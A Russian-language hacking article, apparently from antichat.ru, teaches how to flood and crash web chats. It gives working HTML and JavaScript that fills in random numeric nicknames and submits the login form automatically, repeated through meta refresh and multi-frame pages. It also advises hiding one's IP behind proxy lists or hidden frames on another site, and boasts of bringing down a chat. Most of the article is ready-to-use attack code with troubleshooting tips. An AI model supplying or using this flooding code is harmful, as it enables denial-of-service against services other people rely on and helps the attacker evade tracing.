Anti-chat или "Nick Flooding"

Статья взята с http://www.antichat.ru

87668964 Заходит в чат
5480654 Заходит в чат
30978569 Заходит в чат
Admin: А А А А А А А А А А А А А
34565469 Заходит в чат
74564 Заходит в чат
.......

[an error occurred while processing this directive]
Продолжая тему FA , я решил написать еще одну статью, которая теперь уже точно соответствует своему названию. Внимание: используйте это исключительно для борьбы с "отмороженными" админами, которые от безделья или чтобы показать свои возможности выкидывают из чата по любой причине и без нее. Не используйте этот способ в чатах, где вам дают нормально общаться, т.к. вы не дадите поговорить никому, потому что в чат будет заходить большое количество разных "людей" причем их будет так много, что говорить в чате станет невозможно... Другими словами это "Nick Flooding" или наполнение чата несуществующими посетителями.

Сохраняем на диск стартовую страницу.
Для реализации вам потребуется чат со входом без регистрации и немного знания html(хотя-бы что это такое) . Сохраняем стартовую страницу чата, это где написано "Введите ваш ник" 

   Код примерно такой

<html><body>......................

<FORM action=/cgi-bin/chat/login.cgi method=post name="chat_x">  -путь куда отправляются данные
Введите ваш ник: <input type=text name=Nick> -Тут вводится ник
<INPUT name=color type=hidden value=red>  -цвет
<INPUT type=submit value="Начать!!!" > -кнопка

.....................</html></body>  

А так это выглядит в Броузере:  Введите ваш ник  

Если у вас стартовая страница загружается в виде фреймов, т.е. уже видно сообщения и внизу написано "Введите ваш ник" (обычно это самый нижний фрейм) надо щелкнуть там(внизу) правой кнопкой и выбрать "Просмотр в виде html" там вы увидите тоже что и в первом случае, возможно что код будет посложнее.

если вы умеете работать с чатом с диска (подробно здесь) и в данном чате это возможно, то  код нижнего фрейма после первой сказанной фразы будет содержать следующее :

<html><body>......................

<FORM action=/cgi-bin/chat/login.cgi method=post name="chat_x">  -путь куда отправляются данные
<input type=hidden name=Nick value = Ваш ник> -ник (его не видно)
<INPUT name=color type=hidden value=red>  - цвет
Введите фразу  <INPUT TYPE=TEXT name=say size="24"> -поле ввода фразы
<INPUT type=submit value="Сказать!!!" > 

.....................</html></body>     

Если этот чат находится по адресу http://www.domen.ru то в строчку <FORM action= /cgi-bin/chat/login.cgi method=post name="chat_x"> прописываем этот адрес и получаем: <FORM action= http://www.domen.ru/cgi-bin/chat/login.cgi method=post name="chat_x"> теперь запускаем этот файл и заходим из него в чат, name="chat_x" может отсутствовать, тогда можно добавить его самому. Вместо chat_x.оно может называться и по другму. Если получается заходить в чат из этого файла, переходим к следующей части.

Первая фишка: генерируем "Посетителей чата"

Если использовать для наших целей один ник, то больше 2-3 фраз он не протянет...выкинут. Значит надо чтобы ник всегда был разный в этом нам поможет Java script (вам его знать не обязательно, просто подставите свои цифры) Math.floor(Math.random()*100000000)

Пример можно увидеть нажав на кнопку:   


Пояснение: Математический объект Math: Math.random() генерирует число от 0 до 1, затем это число округляется при помощи Math.floor() и чтобы оно было целое надо умножить например на 10 тогда будет генерироваться число от 0 до 9, если умножть на 100, то до 99, если умножить на 1000, то до 999 и .т.д. т.е. длина получаемого в результате числа,  меньше или равна количеству нулей в том числе на которое умножали.... блин, сам уже запутался:-))) В примере(см. ниже) это число равно 100000000  вызывая который мы получим случайное число, это и будет ник...
Для того чтобы это число вписалось в форму для ника, ставим его в автозагрузку страницы, т.е. в тег <body> после этого получится: <body  onload="document.chat_x.nick.value =(Math.floor(Math.random()*1000000))"> обратите внимание на название формы (см. пример html-кода выше, оно выделено желтым цветом) это нужно для того, чтобы случайное число вписывалось в нужную форму и в нужное поле.

Вторая фишка: Отправляем "посетителей" в чат.

<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",1000);
}
</script>

Этот скрипт как бы "Нажимает" кнопку "Submit" и отпраляет данные из формы с названием chat_x, в чате эта кнопка может называться "Войти в чат" или "Сказать", делает он это с задержкой 1000 мс, это чтобы вы могли сначала увидеть что загрузилось (позднее можно поставить 100), а потом данные автоматически отправляются, но для этого надо прописать функцию отправки submit() в автозагрузку нашей страницы т.е.  в тег <body onload="document.chat_x.nick.value =(Math.floor(Math.random()*1000000));submit()"> теперь при загрузке страницы выбирается случайное число, потом оно записывается в форму chat_x в поле nick. и данные из формы chat_x отправляются на сервер, получается что в чат зашел чел с ником в виде нескольких чисел. 

Пример html-кода простого чат-флудера

<HTML><HEAD><TITLE>Chat Flooder</TITLE>

<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",1000);
}
</script>

</HEAD>
<BODY bgColor=#000066 onload="document.chat_x.nick.value=(Math.floor(Math.random()*1000000));submit()">

<FORM action=http://www.domen.ru/cgi-bin/chat/chat.cgi method=post name="chat_x">
<input name=color type=hidden value=red>
Nick:<input name=nick type=text>
<INPUT type=submit value="Начать!!!"> 
</BODY></HTML>

Последнее... сам флудинг

Для этого есть три способа. 

1.Создаем файл содержащий два фрейма, в одном файл, который при загрузке создает ник и отправляет его в чат, назовем его forma.htm, а во втором фрейме любой другой файл, у меня в примере это yo.htm. И сохраняем его с именем frames.htm Код этого документа будет такой:

Содержание файла frames.htm

<html><head><title>Chat Flooder</title></head>
<frameset rows="*,100">
<frame name="main" src="forma.htm">
<frame name="send" src="yo.htm">
<noframes><body>
<p>This page uses frames, but your browser doesn't support them.</p>
</body></noframes></frameset>

Имя фрейма send я выделил специально, т.к. данные будут отправляться в него, чтобы файл forma.htm после отправки не выгружался. Далее в коде forma.htm дописываем следующее: в тег <FORM action=.....target="send"> и в начало документа строчку: <meta http-equiv="Refresh" content="1"> чтобы файл сам обновлялся каждую секунду ,и ставим Timer=0. Что получилось: Файл обновляется и посылает в чат посетителя, это видно во фрейме с именем SEND т.е. вместо файла yo.htm появляется чат, потом forma.htm обновляется и опять посылает нового чела в чат, и опять обновляется и опять в чат заходит новый... так до безконечности:) Частота обновления ставится исходя из скорости подключения.

Пример содержания файла forma.htm

<HTML>
<HEAD><TITLE>Chat Flooder</TITLE>
<meta http-equiv="Refresh" content="1">
<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",0); 
}
</script>

</HEAD>
<BODY bgColor=#000066 onload="document.chat_x.nick.value=(Math.floor(Math.random()*1000000));submit()">

<FORM action=http://www.domen.ru/cgi-bin/chat/chat.cgi method=post name="chat_x" target="send">
<input name=color type=hidden value=red>
Nick:<input name=nick type=text>
<input name=password type=hidden value="">
<INPUT type=submit value="Начать!!!"> 
</BODY></HTML>

2 Способ.  Сначала делаем 4 файла которые будут отличаться только задержкой при отправке и один фреймовый файл в котором будет например 16(!) фреймов, в первой четверке первый файл, в нем  Timer= setTimeout(" (document.chat_x.submit())",1000); Во второй четверке фреймов загружается второй файл в котором задержка равна 10000. В третьей четверке- 30000. Ну а в четвертой четверке загрузится четвертый файл с задержкой 40000 т.е. каждые 10000мс в чат будут заходить 4 "человека" и все разные, правда они будут в виде цифр но это фигня... Если вы использовали форму входа в чат то все они будут "заходить" в чат, а если форму отправки сообщения, то можно вписать еще в качестве сообщения абзац текста, тогда каждый сгенерированный ник будет говорить... Экспериментируйте, пробуйте другие варианты с фреймами...

Осталось только скрыть свой IP, для этого можно воспользоваться A4Proxy, набрать большой список серверов....

3 Способ.  если у вас есть сайт, то можно разместить эти файлы на него, например в скрытом фрейме, тогда и IP всегда будет разный...

Валим чат:)

Чаты использующие систему приватов, так устроены, что постоянно находятся "на связи" с компьютером пользователя, т.е. постоянно генерируют для него поток сообщений и следят не отключился ли он еще, и если юзрверей становится слишком много то чат может не выдержать и "упасть". Так вот, недавно я был в чате который выдерживает максимум 70 человек, потом просто перестает работать,  хоть стартовая страница и загружается... Положить такой чат "вручную" оказалось не трудно, надо было просто сделать файл который генерит ники и посылает их в чат, через минуту после запуска этого файла, в чате к существующим 23-м прибавилось еще примерно 50 человек:)) и он ессесно упал (я использовал файл из множества фреймов, в которых был один и тот же файл) И надо отметить, что я был в клубе а там большая скорость и мощнные компы:). Может и с модема тоже получится (типа договориться с кем-то и одновременно начать) или сначала попробовать самому, не знаю... Не забывайте что чаты ведут логи и у админов после этого может появиться желание посмотреть что-же это было такое:) Теперь доступ с IP-адреса интернет-клуба "GeForce" в этот чат закрыт:)

FAQ: Если не получается

FlooDer: У меня ничего не получается:)
Попробуй сначала просто зайти в чат с диска, т.е. из сохраненной на винт формы входа, если все получилось, значит ошибка в коде "скрипта-флудера":), если не получилось, то читай дальше...

FlooDer: Зашел с диска, теперь не получается отправить данные:) что делать?
Проверь правильность названия форм (name=XxXxX)

FlooDer: В строке <FORM action=http://www.***.ru/chat.cgi method=post> вообще нет name="XxXxX", что делать?
Вставь сам: (name="chat_x" target="send")  target- чтобы данные отправлялись во фрейм send, получится  так: <FORM action=http://www.***.ru/chat.cgi method=post name="chat_x" target="send">

FlooDer: При входе в чат надо вводить пароль, подходит любой если ник не зарегистрирован, как его вписать в код?
В форме для ввода пароля надо добавить: value="abrakadabra" тогда с этим паролем будут входить все сгенеренные "юзеры"

Прежде чем писать мне если, что-то не получается, внимательно все проверьте!!! Рабочие примеры не выкладываю специально т.к. их придется все время апгрейдить, во-вторых, я думаю что флудить чаты - плохо:)

Продолжение

...
63854964 Заходит в чат
9673854 Заходит в чат
4845748 Заходит в чат
Admin: А А А А А А А А А А А А

X